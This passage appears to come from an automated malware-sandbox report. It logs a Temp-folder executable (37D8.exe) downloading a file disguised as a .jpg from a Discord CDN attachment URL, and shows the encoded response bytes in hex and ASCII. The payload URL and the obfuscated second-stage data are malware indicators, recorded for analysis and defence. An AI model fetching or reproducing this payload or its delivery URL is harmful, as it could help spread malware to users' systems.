handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49799	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 15:55:26 UTC	0	OUT	GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 15:55:26 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:55:26 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5d9691be75c27c-FRA Accept-Ranges: bytes Age: 23286 Cache-Control: public, max-age=31536000 ETag: "4c1a9946a2a50a9bee099f80736b83cb" Expires: Sat, 29 Oct 2022 15:55:26 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591138366 x-goog-hash: crc32c=ewuz5A== x-goog-hash: md5=TBqZRqKlCpvuCZ+Ac2uDyw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycdvJxlr9khbKEXfSQ9n_bxglLL7dSGVIxF6rk63UtNA6boJtNKCUIT3dV9e0Gr4n6Y4UdNwOh6zGJyRPl1vLRno X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bULPJHN2nEoVhHBVRiVrSRBcqws%2FquMot1Pf6K4pe8KhARUxGMcKfJx9bQUIjOcFqrdBxX6m%2B4Us1tiriBkdnlD62H4dJYpn0CmaPzU9g1JMy%2BRS5s3qWK%2BzjmvM4fNqLOW4ZQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 15:55:26 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 15:55:26 UTC	1	IN	Data Raw: 4f 71 4a 70 6d 57 44 45 58 4d 2d 45 45 20 4d 4f 20 71 6d 6d 20 4f 20 70 20 4f 20 4f 20 4f 20 6d 20 4f 20 4f 20 4f 20 4a 57 57 20 4a 57 57 20 4f 20 4f 20 71 58 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 44 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4a 58 20 4f 20 4f 20 4f 20 71 6d 20 70 71 20 71 58 44 20 71 6d 20 4f 20 71 58 4f 20 4d 20 4a 4f 57 20 70 70 20 71 58 6d 20 71 20 45 44 20 4a 4f 57 20 70 70 20 58 6d 20 71 4f 6d 20 71 4f 57 20 71 71 57 20 70 4a 20 71 71 4a 20 71 71 6d 20 71 71 71 20 71 4f 70 20 71 71 6d 20 4d 45 20 71 4f 4d 20 70 4a 20 4d 4d 20 4d 45 20 71 71 4f 20 71 Data Ascii: OqJpmWDEXM-EE MO qmm O p O O O m O O O JWW JWW O O qXm O O O O O O O Dm O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O qJX O O O qm pq qXD qm O qXO M JOW pp qXm q ED JOW pp Xm qOm qOW qqW pJ qqJ qqm qqq qOp qqm ME qOM pJ MM ME qqO q
2021-10-29 15:55:26 UTC	2	IN	Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4a 57 20 6d 4f 20 4a 4a 4d 20 71 4f 4d 20 71 71 57 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 6d 44 20 71 6d 70 20 57 4f 20 6d 58 20 71 70 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f Data Ascii: O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O JW mO JJM qOM qqW WO mX WO WO Xm qqm qqE qmD qmp WO mX qpX Wm Xm qqm qqE qOM qqJ WO qqJ WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO
2021-10-29 15:55:26 UTC	4	IN	Data Raw: 4d 20 71 71 4a 20 57 4f 20 45 44 20 71 58 70 20 57 57 20 58 6d 20 71 71 6d 20 58 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 6d 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 20 57 6d 20 58 6d 20 71 58 20 4d 71 20 70 71 20 70 20 44 6d 20 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 45 58 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 6d 4f 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4d 4f 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 57 70 20 71 4f 4d 20 71 71 4a 20 71 71 6d 20 Data Ascii: M qqJ WO ED qXp WW Xm qqm XW qOM qqJ WO qXm Wq Wm Xm qqX qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX qX Wm Xm qX Mq pq p Dm Xp WO Wm Xm qEX qqX qOM qqJ WO JmO Wq Wm Xm qqX qqE qOM qqJ qMO mM WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm Wp qOM qqJ qqm
2021-10-29 15:55:26 UTC	5	IN	Data Raw: 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f Data Ascii: O mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO
2021-10-29 15:55:26 UTC	6	IN	Data Raw: 57 44 20 70 4d 20 70 45 20 6d 45 20 4a 71 45 20 6d 4a 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 70 58 20 44 6d 20 57 57 20 58 6d 20 71 71 6d 20 57 20 70 71 20 6d 71 20 57 4f 20 6d 58 20 44 44 20 45 4a 20 45 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 6d 57 20 6d 58 20 57 4f 20 44 4f 20 4a 6d 44 20 58 45 20 4d 58 20 70 71 20 71 20 57 4f 20 6d 58 20 44 44 20 44 58 20 4a 57 71 20 71 71 6d 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 4a 20 44 58 20 71 6d 45 20 71 71 6d 20 71 71 45 20 4a 4d 20 4a 20 57 70 20 6d 4d 20 57 4f 20 45 4f 20 6d 4a 20 71 4f 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 6d 45 20 57 4f 20 57 6d 20 4d 6d 20 4a 4f Data Ascii: WD pM pE mE JqE mJ qqE qOM qqp Jp pX Dm WW Xm qqm W pq mq WO mX DD EJ Em qqm qqE qOp XX mW mX WO DO JmD XE MX pq q WO mX DD DX JWq qqm qqE JM qm mm mX WO DO qJm qOM qqE qOM qJJ qmm Jq mJ DX qmE qqm qqE JM J Wp mM WO EO mJ qOX qqE qOM qJJ JD mE WO Wm Mm JO
2021-10-29 15:55:26 UTC	8	IN	Data Raw: 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 71 71 6d 20 57 4f 20 6d 58 20 4a 57 20 58 4d 20 71 71 4a 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 57 20 70 70 20 57 6d 20 4a 4f 4f 20 58 4a 20 71 44 6d 20 71 71 44 20 71 4f 4d 20 71 71 58 20 44 57 20 70 4f 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 20 71 70 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 71 20 70 71 20 70 70 20 71 71 6d 20 71 4a 20 71 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 4f 44 20 57 4a 20 4a 70 57 20 58 57 20 71 71 6d 20 71 71 57 20 70 4f 20 4d 57 20 57 4f 20 6d 58 20 57 44 20 71 4d 20 4a 71 4a 20 71 6d 4f 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 57 71 20 57 4f 20 57 6d 20 71 4a 45 20 4a 4d 20 4d 57 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 70 20 57 57 20 70 4d 20 58 4f 20 71 6d 4f 20 71 71 Data Ascii: m qqm qqp DM qqm WO mX JW XM qqJ qqW qqE qOE ME WW pp Wm JOO XJ qDm qqD qOM qqX DW pO WO Wm Mm qJ qpM qOM qqJ Wm Jq pq pp qqm qJ qmJ qOM qqJ Wm JOD WJ JpW XW qqm qqW pO MW WO mX WD qM JqJ qmO qqE qOM qqD JD Wq WO Wm qJE JM MW qOX qqJ WJ pp WW pM XO qmO qq
2021-10-29 15:55:26 UTC	9	IN	Data Raw: 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 45 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4d 20 57 70 20 70 4f 20 71 71 4f 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 70 20 57 70 20 57 6d 20 44 70 20 4a 70 57 20 71 4a 45 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 57 44 20 57 4f 20 57 6d 20 58 4a 20 71 4a 44 20 71 71 6d 20 70 4f 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4a 20 70 45 20 58 4f 20 4d 4d 20 71 71 70 20 71 71 70 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 4a 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 70 57 20 58 6d 20 71 71 6d 20 71 71 57 20 45 57 20 71 4f 4a 20 70 70 20 57 70 20 71 4f 20 4a 70 Data Ascii: DW X WO Wm Mm MO ED qOM qqJ WD WM Wp pO qqO qqm qqE qOp Mp Wp Wm Dp JpW qJE qqW qqE qOM qqm JD WD WO Wm XJ qJD qqm pO JqM WO mX WJ pE XO MM qqp qqp JWp qOm mX WO WW qqp qDJ JJJ qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qpW Xm qqm qqW EW qOJ pp Wp qO Jp
2021-10-29 15:55:26 UTC	10	IN	Data Raw: 57 4a 20 57 6d 20 58 6d 20 71 71 6d 20 70 58 20 71 4f 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 45 4d 20 44 44 20 71 71 57 20 71 4f 4d 20 57 4a 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 4f 4f 20 70 4f 20 45 4d 20 57 4f 20 6d 58 20 57 44 20 44 4f 20 58 44 20 71 71 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 6d 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 71 20 71 71 6d 20 44 4d 20 45 6d 20 57 4f 20 6d 58 20 57 44 20 4a 45 20 58 70 20 71 71 44 20 71 4a 4f Data Ascii: WJ Wm Xm qqm pX qOX qqJ WO qOW Wq Wm Xm qqp qqE qOM qqJ Dq mX WO WW EM DD qqW qOM WJ mX mX WO Wp Xm qqm qOO pO EM WO mX WD DO XD qqq JmX WW qqJ WO mM Jp JpO qmO qqm qqE qOW XX W mX WO DO pM Em qqE qOM qJJ JD M WO Wm Mm qJq qqm DM Em WO mX WD JE Xp qqD qJO
2021-10-29 15:55:26 UTC	12	IN	Data Raw: 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 4a 71 6d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 45 4a 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 58 70 20 4d 4d 20 71 71 70 20 71 4a 6d 20 71 71 45 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 71 57 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 4a 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 44 20 4a 44 20 6d 58 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 20 45 6d 20 57 71 20 6d Data Ascii: qqE qOX XW JJD Jqm WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE J EJ Wq mX WJ pM Xp MM qqp qJm qqE mW Dp qMq qOX Xm qqm qqD EJ qDO qWW mX WO WO qJm DM qqE qOM qJJ DW X WO Wm Mm JM JqE qOM qqJ WJ WD JD mX Xm qqm qqW J Em Wq m
2021-10-29 15:55:26 UTC	13	IN	Data Raw: 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 70 4a 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 4d 20 70 57 20 57 57 20 6d 70 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 57 4d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 6d 57 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 6d 71 20 44 4d 20 71 71 45 20 71 4f 58 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 6d 6d 20 71 71 45 Data Ascii: qm qqm qqE qOX XW JJD qpJ WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE qJD qqM pW WW mp qXE qm qqm qqE qOX XW JJD qWM WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD mW qqJ WO WX pq mq DM qqE qOX JJm mJ WO mX Wq qM qpJ qmm qqE
2021-10-29 15:55:26 UTC	14	IN	Data Raw: 44 4d 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 4f 4f 20 70 70 20 57 6d 20 70 57 20 57 4f 20 44 4d 20 71 71 4d 20 71 4f 44 20 71 4a 4f 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 57 45 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 57 6d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 71 20 58 58 20 57 4a 20 6d 58 20 57 4f 20 6d 58 20 70 58 20 71 20 71 71 4d 20 71 4f 4d 20 4f 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 71 4f 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 57 20 57 70 20 44 4d 20 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4d 20 57 58 20 70 70 20 57 58 20 70 4d 20 58 4f 20 4d 4d 20 71 71 4a 20 71 71 6d 20 71 Data Ascii: DM qqW qqE qOM qOO pp Wm pW WO DM qqM qOD qJO JWp qOm mX WO WW qqp qDJ qWE qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qWm Xm qqm qqW qOq XX WJ mX WO mX pX q qqM qOM O ED mD WO Wm Mm JM qOD qOM qqJ WD pW Wp DM qD qqW qqE qOE MM WX pp WX pM XO MM qqJ qqm q
2021-10-29 15:55:26 UTC	16	IN	Data Raw: 71 71 6d 20 71 4a 45 20 71 71 6d 20 44 20 71 20 6d 4a 20 6d 58 20 70 70 20 57 4d 20 58 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 6d 57 20 71 20 71 20 57 45 20 58 45 20 4d 4f 20 44 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4f 20 4a 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 70 20 4d 71 20 44 4f 20 57 4f 20 70 44 20 70 6d 20 71 4a 6d 20 58 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4d 70 20 71 71 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 71 45 71 20 71 71 4f 20 58 44 20 4a 70 44 20 6d 58 20 57 4a 20 4a 58 20 58 57 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 6d 20 57 4f 20 70 20 71 71 71 20 71 71 6d 20 71 71 58 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 70 70 20 44 20 58 44 20 71 71 6d 20 58 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 Data Ascii: qqm qJE qqm D q mJ mX pp WM XW qqE qOM qJJ mW q q WE XE MO DJ qOM qqJ WD WO JD mO Xm qqm qqW qOp Mq DO WO pD pm qJm Xm qqE qOM qqX Mp qq WO Wm Mm qJO qEq qqO XD JpD mX WJ JX XW MX qqE qOM qqJ WO Wm WO p qqq qqm qqX MX qqJ WO mM pp D XD qqm XJ qOM qqJ WO W
2021-10-29 15:55:26 UTC	17	IN	Data Raw: 4f 71 20 71 71 4a 20 57 4f 20 4a 45 20 4d 70 20 4a 6d 58 20 58 57 20 71 71 6d 20 71 71 57 20 4a 20 71 44 71 20 57 71 20 6d 58 20 57 4a 20 44 4f 20 71 70 58 20 71 71 70 20 58 70 20 71 45 4d 20 71 71 4a 20 4a 70 44 20 57 71 20 4a 4f 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 70 20 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 45 20 6d 4d 20 57 4f 20 57 6d 20 45 44 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 58 70 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 71 20 57 6d 20 58 6d 20 4d 4f 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 Data Ascii: Oq qqJ WO JE Mp JmX XW qqm qqW J qDq Wq mX WJ DO qpX qqp Xp qEM qqJ JpD Wq JO JpJ Xm qqD MW qOM qqJ WO qqp D Wm Xm qqm qqE qOM qqJ WE mM WO Wm ED qqm qqE qOM Xp Wq mX WO Wp Xm qqm qqE MX qqJ WO mM WO Wm Xm qqm qJq qOM qqJ WO mm Wq Wm Xm MO qqD qOM qqJ mM
2021-10-29 15:55:26 UTC	18	IN	Data Raw: 20 6d 4f 20 71 71 6d 20 4d 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 4a 6d 4d 20 4a 57 57 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 71 71 6d 20 6d 4d 20 57 4f 20 57 6d 20 4d 57 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 4a 71 20 6d 4d 20 57 4f 20 6d 58 20 4d 6d 20 71 71 4a 20 4a 44 20 57 4a 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 4f 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4a 20 45 4a 20 71 6d 57 20 6d 58 20 57 4f 20 57 6d 20 58 70 20 4a 4d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 58 20 70 45 20 57 6d 20 58 6d 20 71 71 57 20 71 4a 71 20 71 4f 71 20 70 71 20 71 71 4f 20 6d 58 20 57 4f 20 44 4f 20 70 58 20 4a 6d 45 20 71 71 4d Data Ascii: mO qqm ME qOM qqJ WO mX WO Wm XJ qqm JmM JWW qqJ mM WX WO Wm XW qOW DM qOW qqJ qqm mM WO Wm MW qqm qqE qJm p qJq mM WO mX Mm qqJ JD WJ qqJ WO WX Mp qOM Xm qqm qJE qOJ EJ qmW mX WO Wm Xp JM qJJ qOM qqJ WD DX pE Wm Xm qqW qJq qOq pq qqO mX WO DO pX JmE qqM
2021-10-29 15:55:26 UTC	20	IN	Data Raw: 20 71 4f 4d 20 71 71 4a 20 70 57 20 44 45 20 6d 70 20 57 6d 20 58 6d 20 71 4a 4f 20 71 4a 45 20 71 71 71 20 71 6d 20 6d 58 20 6d 4d 20 57 4f 20 57 4f 20 71 71 70 20 4d 57 20 4d 58 20 45 57 20 71 6d 20 57 71 20 6d 4d 20 57 4f 20 57 4f 20 71 45 4f 20 71 71 44 20 71 57 71 20 71 4f 58 20 71 71 4a 20 57 4a 20 44 45 20 6d 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 58 4f 20 4a 70 45 20 71 71 6d 20 57 71 20 6d 58 20 57 6d 20 70 4f 20 58 57 20 71 71 6d 20 71 71 45 20 45 4f 20 70 71 20 6d 44 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 45 6d 20 44 6d 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 57 20 4d 70 20 6d 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4d 45 20 71 4a 4f 20 6d 4a 20 70 4d 20 70 45 20 71 58 45 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 70 44 20 6d 45 20 6d Data Ascii: qOM qqJ pW DE mp Wm Xm qJO qJE qqq qm mX mM WO WO qqp MW MX EW qm Wq mM WO WO qEO qqD qWq qOX qqJ WJ DE mO Wm Xm qJO XO JpE qqm Wq mX Wm pO XW qqm qqE EO pq mD mX WO DO MW Em Dm qOX qqJ WO WW Mp mp Xm qqm qJE ME qJO mJ pM pE qXE qJ qqm qqE qOX XW pD mE m
2021-10-29 15:55:26 UTC	21	IN	Data Raw: 4f 20 57 6d 20 71 70 58 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 6d 4f 20 57 71 20 6d 58 20 57 4f 20 57 44 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 45 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 45 20 57 71 20 57 6d 20 58 6d 20 4a 44 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 6d 58 20 57 4f 20 57 6d 20 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 71 6d 20 57 4f 20 6d 58 20 57 4f 20 45 20 58 6d 20 71 71 6d 20 71 71 45 20 6d 4a 20 71 71 70 20 57 4f 20 6d 58 20 45 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 6d 4a 20 71 71 57 Data Ascii: O Wm qpX qqm qqE qOM mO Wq mX WO WD Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm EJ qOM qqJ WO JE Wq Wm Xm JD qqD qOM qqJ mM mX WO Wm Mm qqm qqE qOX qqm WO mX WO E Xm qqm qqE mJ qqp WO mX Em WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WJ mX WO Wm mJ qqW
2021-10-29 15:55:26 UTC	22	IN	Data Raw: 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 4d 58 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 4a 20 57 44 20 70 57 20 57 4f 20 45 58 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 4f 58 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 71 57 58 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 45 70 20 71 71 45 20 71 4f 4d 20 71 